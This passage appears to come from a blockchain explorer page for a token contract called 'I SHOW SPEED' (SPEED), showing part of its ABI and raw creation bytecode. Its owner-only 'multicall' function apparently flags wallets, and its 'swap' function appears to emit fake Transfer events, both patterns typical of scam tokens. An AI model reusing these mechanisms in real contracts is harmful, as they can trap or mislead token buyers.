ol","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableEarlySellTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"updAds","type":"address[]"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setEarlySellTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"add_","type":"address"}],"name":"walletMaxTransaction","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a06040526019600f55611c206011556107086012556001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff0219169083151502179055505f601560036101000a81548160ff0219169083151502179055506001601560046101000a81548160ff0219169083151502179055506001601560056101000a81548160ff0219169083151502179055505f601560066101000a81548160ff021916908315150217905550348015620000c1575f80fd5b5060405162005b5d38038062005b5d8339818101604052810190620000e791906200069c565b816040518060400160405280600c81526020017f492053484f5720535045454400000000000000000000000000000000000000008152506040518060400160405280600581526020017f535045454400000000000000000000000000000000000000000000000000000081525081600490816200016591906200093c565b5080600590816200017791906200093c565b5050505f6200018b620003ec60201b60201c565b90508060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250505f620002c6620003f360201b60201c565b600a620002d4919062000ba9565b64746a528800620002e6919062000bf9565b905082600182620002f8919062000bf9565b62000304919062000c70565b600c81905550826001826200031a919062000bf9565b62000326919062000c70565b600e819055506127106005826200033e919062000bf9565b6200034a919062000c70565b600d8190555033600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555033600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003e23382620003fb60201b60201c565b5050505062000df9565b5f33905090565b5f6009905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200046c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004639062000d05565b60405180910390fd5b6200047f5f83836200059860201b60201c565b62000496816003546200059d60201b90919060201c565b600381905550620004ed815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546200059d60201b90919060201c565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200058c919062000d36565b60405180910390a35050565b505050565b5f808284620005ad919062000d51565b905083811015620005f5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005ec9062000dd9565b60405180910390fd5b8091505092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6200062e8262000603565b9050919050565b620006408162000622565b81146200064b575f80fd5b50565b5f815190506200065e8162000635565b92915050565b5f819050919050565b620006788162000664565b811462000683575f80fd5b50565b5f8151905062000696816200066d565b92915050565b5f8060408385031215620006b557620006b4620005ff565b5b5f620006c4858286016200064e565b9250506020620006d78582860162000686565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200075d57607f821691505b60208210810362000773576200077262000718565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620007d77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200079a565b620007e386836200079a565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620008246200081e620008188462000664565b620007fb565b62000664565b9050919050565b5f819050919050565b6200083f8362000804565b620008576200084e826200082b565b848454620007a6565b825550505050565b5f90565b6200086d6200085f565b6200087a81848462000834565b505050565b5b81811015620008a157620008955f8262000863565b60018101905062000880565b5050565b601f821115620008f057620008ba8162000779565b620008c5846200078b565b81016020851015620008d5578190505b620008ed620008e4856200078b565b8301826200087f565b50505b505050565b5f82821c905092915050565b5f620009125f1984600802620008f5565b1980831691505092915050565b5f6200092c838362000901565b9150826002028217905092915050565b6200094782620006e1565b67ffffffffffffffff811115620009635762000962620006eb565b5b6200096f825462000745565b6200097c828285620008a5565b5f60209050601f831160018114620009b2575f84156200099d578287015190505b620009a985826200091f565b86555062000a18565b601f198416620009c28662000779565b5f5b82811015620009eb57848901518255600182019150602085019450602081019050620009c4565b8683101562000a0b578489015162000a07601f89168262000901565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000aaa5780860481111562000a825762000a8162000a20565b5b600185161562000a925780820291505b808102905062000aa28562000a4d565b945062000a62565b94509492505050565b5f8262000ac4576001905062000b96565b8162000ad3575f905062000b96565b816001811462000aec576002811462000af75762000b2d565b600191505062000b96565b60ff84111562000b0c5762000b0b62000a20565b5b8360020a91508482111562000b265762000b2562000a20565b5b5062000b96565b5060208310610133831016604e8410600b841016171562000b675782820a90508381111562000b615762000b6062000a20565b5b62000b96565b62000b76848484600162000a59565b9250905081840481111562000b905762000b8f62000a20565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000bb58262000664565b915062000bc28362000b9d565b925062000bf17fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000ab3565b905092915050565b5f62000c058262000664565b915062000c128362000664565b925082820262000c228162000664565b9150828204841483151762000c3c5762000c3b62000a20565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000c7c8262000664565b915062000c898362000664565b92508262000c9c5762000c9b62000c43565b5b828204905092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000ced601f8362000ca7565b915062000cfa8262000cb7565b602082019050919050565b5f6020820190508181035f83015262000d1e8162000cdf565b9050919050565b62000d308162000664565b82525050565b5f60208201905062000d4b5f83018462000d25565b92915050565b5f62000d5d8262000664565b915062000d6a8362000664565b925082820190508082111562000d855762000d8462000a20565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f62000dc1601b8362000ca7565b915062000dce8262000d8b565b602082019050919050565b5f6020820190508181035f83015262000df28162000db3565b9050919050565b608051614d2862000e355f395f8181610dfd01528181613484015281816135630152818161358a0152818161362001526136470152614d285ff3fe608060405260043610610338575f3560e01c80638ea5220f116101aa578063b62496f5116100f6578063dd62ed3e11610094578063e97626671161006e578063e976266714610bdb578063f2fde38b14610c17578063f8b45b0514610c3f578063fe72b27a14610c695761033f565b8063dd62ed3e14610b4b578063e2f4560514610b87578063e884f26014610bb15761033f565b8063c2b7bbb6116100d0578063c2b7bbb614610a93578063c876d0b914610abb578063c8c8ebe414610ae5578063d257b34f14610b0f5761033f565b8063b62496f514610a05578063bbc0c74214610a41578063c18bc19514610a6b5761033f565b8063a265777811610163578063a4d15b641161013d578063a4d15b641461094f578063a9059cbb14610979578063aacebbe3146109b5578063b18834aa146109dd5761033f565b8063a2657778146108c1578063a457c2d7146108e9578063a4c82a00146109255761033f565b80638ea5220f146107c9578063924de9b7146107f357806395d89b411461081b5780639a7a23d6146108455780639ec22c0e1461086d5780639fccce32146108975761033f565b80632c3e486c1161028457806370a0823111610222578063751039fc116101fc578063751039fc1461073557806375f0a8741461075f5780638a8c523c146107895780638da5cb5b1461079f5761033f565b806370a08231146106bb578063715018a6146106f7578063730c18881461070d5761033f565b8063395093511161025e578063395093511461060157806349bd5a5e1461063d5780634a62bb65146106675780636ddd1713146106915761033f565b80632c3e486c146105835780632e82f1a0146105ad578063313ce567146105d75761033f565b8063184c16c5116102f15780631f3fed8f116102cb5780631f3fed8f146104cb578063203e727e146104f557806323b872dd1461051d57806327c8f835146105595761033f565b8063184c16c51461044d578063199ffc72146104775780631a8145bb146104a15761033f565b806306fdde0314610343578063095ea7b31461036d5780631111f43f146103a95780631694505e146103d157806318160ddd146103fb5780631816467f146104255761033f565b3661033f57005b5f80fd5b34801561034e575f80fd5b50610357610ca5565b604051610364919061377d565b60405180910390f35b348015610378575f80fd5b50610393600480360381019061038e9190613832565b610d35565b6040516103a0919061388a565b60405180910390f35b3480156103b4575f80fd5b506103cf60048036038101906103ca919061392e565b610d52565b005b3480156103dc575f80fd5b506103e5610dfb565b6040516103f291906139e6565b60405180910390f35b348015610406575f80fd5b5061040f610e1f565b60405161041c9190613a0e565b60405180910390f35b348015610430575f80fd5b5061044b60048036038101906104469190613a27565b610e28565b005b348015610458575f80fd5b50610461610eee565b60405161046e9190613a0e565b60405180910390f35b348015610482575f80fd5b5061048b610ef4565b6040516104989190613a0e565b60405180910390f35b3480156104ac575f80fd5b506104b5610efa565b6040516104c29190613a0e565b60405180910390f35b3480156104d6575f80fd5b506104df610f00565b6040516104ec9190613a0e565b60405180910390f35b348015610500575f80fd5b5061051b60048036038101906105169190613a52565b610f06565b005b348015610528575f80fd5b50610543600480360381019061053e9190613a7d565b610fa1565b604051610550919061388a565b60405180910390f35b348015610564575f80fd5b5061056d611075565b60405161057a9190613adc565b60405180910390f35b34801561058e575f80fd5b5061059761107b565b6040516105a49190613a0e565b60405180910390f35b3480156105b8575f80fd5b506105c1611081565b6040516105ce919061388a565b60405180910390f35b3480156105e2575f80fd5b506105eb611094565b6040516105f89190613b10565b60405180910390f35b34801561060c575f80fd5b5061062760048036038101906106229190613832565b61109c565b604051610634919061388a565b60405180910390f35b348015610648575f80fd5b5061065161114a565b60405161065e9190613adc565b60405180910390f35b348015610672575f80fd5b5061067b61116f565b604051610688919061388a565b60405180910390f35b34801561069c575f80fd5b506106a5611182565b6040516106b2919061388a565b60405180910390f35b3480156106c6575f80fd5b506106e160048036038101906106dc9190613a27565b611195565b6040516106ee9190613a0e565b60405180910390f35b348015610702575f80fd5b5061070b6111da565b005b348015610718575f80fd5b50610733600480360381019061072e9190613b29565b61129f565b005b348015610740575f80fd5b5061074961136a565b604051610756919061388a565b60405180910390f35b34801561076a575f80fd5b50610773611394565b6040516107809190613adc565b60405180910390f35b348015610794575f80fd5b5061079d6113b9565b005b3480156107aa575f80fd5b506107b3611407565b6040516107c09190613adc565b60405180910390f35b3480156107d4575f80fd5b506107dd61142f565b6040516107ea9190613adc565b60405180910390f35b3480156107fe575f80fd5b5061081960048036038101906108149190613b79565b611454565b005b348015610826575f80fd5b5061082f611479565b60405161083c919061377d565b60405180910390f35b348015610850575f80fd5b5061086b60048036038101906108669190613ba4565b611509565b005b348015610878575f80fd5b506108816115ae565b60405161088e9190613a0e565b60405180910390f35b3480156108a2575f80fd5b506108ab6115b4565b6040516108b89190613a0e565b60405180910390f35b3480156108cc575f80fd5b506108e760048036038101906108e29190613b79565b6115ba565b005b3480156108f4575f80fd5b5061090f600480360381019061090a9190613832565b6115df565b60405161091c919061388a565b60405180910390f35b348015610930575f80fd5b506109396116a7565b6040516109469190613a0e565b60405180910390f35b34801561095a575f80fd5b506109636116ad565b604051610970919061388a565b60405180910390f35b348015610984575f80fd5b5061099f600480360381019061099a9190613832565b6116c0565b6040516109ac919061388a565b60405180910390f35b3480156109c0575f80fd5b506109db60048036038101906109d69190613a27565b6116dd565b005b3480156109e8575f80fd5b50610a0360048036038101906109fe9190613be2565b6117a3565b005b348015610a10575f80fd5b50610a2b6004803603810190610a269190613a27565b61187e565b604051610a38919061388a565b60405180910390f35b348015610a4c575f80fd5b50610a5561189b565b604051610a62919061388a565b60405180910390f35b348015610a76575f80fd5b50610a916004803603810190610a8c9190613a52565b6118ae565b005b348015610a9e575f80fd5b50610ab96004803603810190610ab49190613a27565b611949565b005b348015610ac6575f80fd5b50610acf6119c0565b604051610adc919061388a565b60405180910390f35b348015610af0575f80fd5b50610af96119d3565b604051610b069190613a0e565b60405180910390f35b348015610b1a575f80fd5b50610b356004803603810190610b309190613a52565b6119d9565b604051610b42919061388a565b60405180910390f35b348015610b56575f80fd5b50610b716004803603810190610b6c9190613c3f565b611ab9565b604051610b7e9190613a0e565b60405180910390f35b348015610b92575f80fd5b50610b9b611b3b565b604051610ba89190613a0e565b60405180910390f35b348015610bbc575f80fd5b50610bc5611b41565b604051610bd2919061388a565b60405180910390f35b348015610be6575f80fd5b50610c016004803603810190610bfc9190613a27565b611b6b565b604051610c0e919061388a565b60405180910390f35b348015610c22575f80fd5b50610c3d6004803603810190610c389190613a27565b611bbd565b005b348015610c4a575f80fd5b50610c53611cf1565b604051610c609190613a0e565b60405180910390f35b348015610c74575f80fd5b50610c8f6004803603810190610c8a9190613a52565b611cf7565b604051610c9c919061388a565b60405180910390f35b606060048054610cb490613caa565b80601f0160208091040260200160405190810160405280929190818152602001828054610ce090613caa565b8015610d2b5780601f10610d0257610100808354040283529160200191610d2b565b820191905f5260205f20905b815481529060010190602001808311610d0e57829003601f168201915b5050505050905090565b5f610d48610d41611f52565b8484611f59565b6001905092915050565b610d5a61211c565b5f5b83839050811015610df5578160025f868685818110610d7e57610d7d613cda565b5b9050602002016020810190610d939190613a27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610ded90613d34565b915050610d5c565b50505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f600354905090565b610e3061211c565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60125481565b600f5481565b60165481565b60185481565b610f0e61211c565b670de0b6b3a76400006103e86005610f24610e1f565b610f2e9190613d7b565b610f389190613de9565b610f429190613de9565b811015610f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7b90613e89565b60405180910390fd5b670de0b6b3a764000081610f989190613d7b565b600c8190555050565b5f610fad84848461219a565b61106a84610fb9611f52565b61106585604051806060016040528060288152602001614ca66028913960015f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61101c611f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546129709092919063ffffffff16565b611f59565b600190509392505050565b61dead81565b60115481565b601560019054906101000a900460ff1681565b5f6009905090565b5f6111406110a8611f52565b8461113b8560015f6110b8611f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546129d290919063ffffffff16565b611f59565b6001905092915050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601560029054906101000a900460ff1681565b601560039054906101000a900460ff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6111e261211c565b5f73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6112a761211c565b6102588310156112ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e390613f17565b60405180910390fd5b6103e882111580156112fe57505f8210155b61133d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133490613fa5565b60405180910390fd5b8260118190555081600f8190555080601560016101000a81548160ff021916908315150217905550505050565b5f61137361211c565b5f601560026101000a81548160ff0219169083151502179055506001905090565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6113c161211c565b6001601560066101000a81548160ff0219169083151502179055506001601560036101000a81548160ff0219169083151502179055504260108190555043601481905550565b5f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61145c61211c565b80601560036101000a81548160ff02191690831515021790555050565b60606005805461148890613caa565b80601f01602080910402602001604051908101604052809291908181526020018280546114b490613caa565b80156114ff5780601f106114d6576101008083540402835291602001916114ff565b820191905f5260205f20905b8154815290600101906020018083116114e257829003601f168201915b5050505050905090565b61151161211c565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159790614033565b60405180910390fd5b6115aa8282612a2f565b5050565b60135481565b60175481565b6115c261211c565b80601560046101000a81548160ff02191690831515021790555050565b5f61169d6115eb611f52565b8461169885604051806060016040528060258152602001614cce6025913960015f611614611f52565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546129709092919063ffffffff16565b611f59565b6001905092915050565b60105481565b601560049054906101000a900460ff1681565b5f6116d36116cc611f52565b848461219a565b6001905092915050565b6116e561211c565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6117ab61211c565b5f5b83839050811015611878578383828181106117cb576117ca613cda565b5b90506020020160208101906117e09190613a27565b73ffffffffffffffffffffffffffffffffffffffff1660095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161185d9190613a0e565b60405180910390a3808061187090613d34565b9150506117ad565b50505050565b601a602052805f5260405f205f915054906101000a900460ff1681565b601560069054906101000a900460ff1681565b6118b661211c565b670de0b6b3a76400006103e8600f6118cc610e1f565b6118d69190613d7b565b6118e09190613de9565b6118ea9190613de9565b81101561192c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611923906140c1565b60405180910390fd5b670de0b6b3a7640000816119409190613d7b565b600e8190555050565b61195161211c565b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506119bd60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001612a2f565b50565b601560059054906101000a900460ff1681565b600c5481565b5f6119e261211c565b620186a060016119f0610e1f565b6119fa9190613d7b565b611a049190613de9565b821015611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d9061414f565b60405180910390fd5b6103e86005611a53610e1f565b611a5d9190613d7b565b611a679190613de9565b821115611aa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa0906141dd565b60405180910390fd5b81600d8190555060019050919050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b600d5481565b5f611b4a61211c565b5f601560056101000a81548160ff0219169083151502179055506001905090565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b611bc561211c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2a9061426b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5481565b5f611d0061211c565b601254601354611d109190614289565b4211611d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4890614306565b60405180910390fd5b6103e8821115611d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8d90614394565b60405180910390fd5b426013819055505f3073ffffffffffffffffffffffffffffffffffffffff166370a0823160095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401611df89190613adc565b602060405180830381865afa158015611e13573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611e3791906143c6565b90505f611e61612710611e538685612acd90919063ffffffff16565b612b4490919063ffffffff16565b90505f811115611e9a57611e9960095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead83612b8d565b5b5f60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b81526004015f604051808303815f87803b158015611f04575f80fd5b505af1158015611f16573d5f803e3d5ffd5b505050507f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb60405160405180910390a160019350505050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611fc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbe90614461565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612035576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202c906144ef565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161210f9190613a0e565b60405180910390a3505050565b612124611f52565b73ffffffffffffffffffffffffffffffffffffffff16612142612e16565b73ffffffffffffffffffffffffffffffffffffffff1614612198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218f90614557565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612208576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ff906145e5565b60405180910390fd5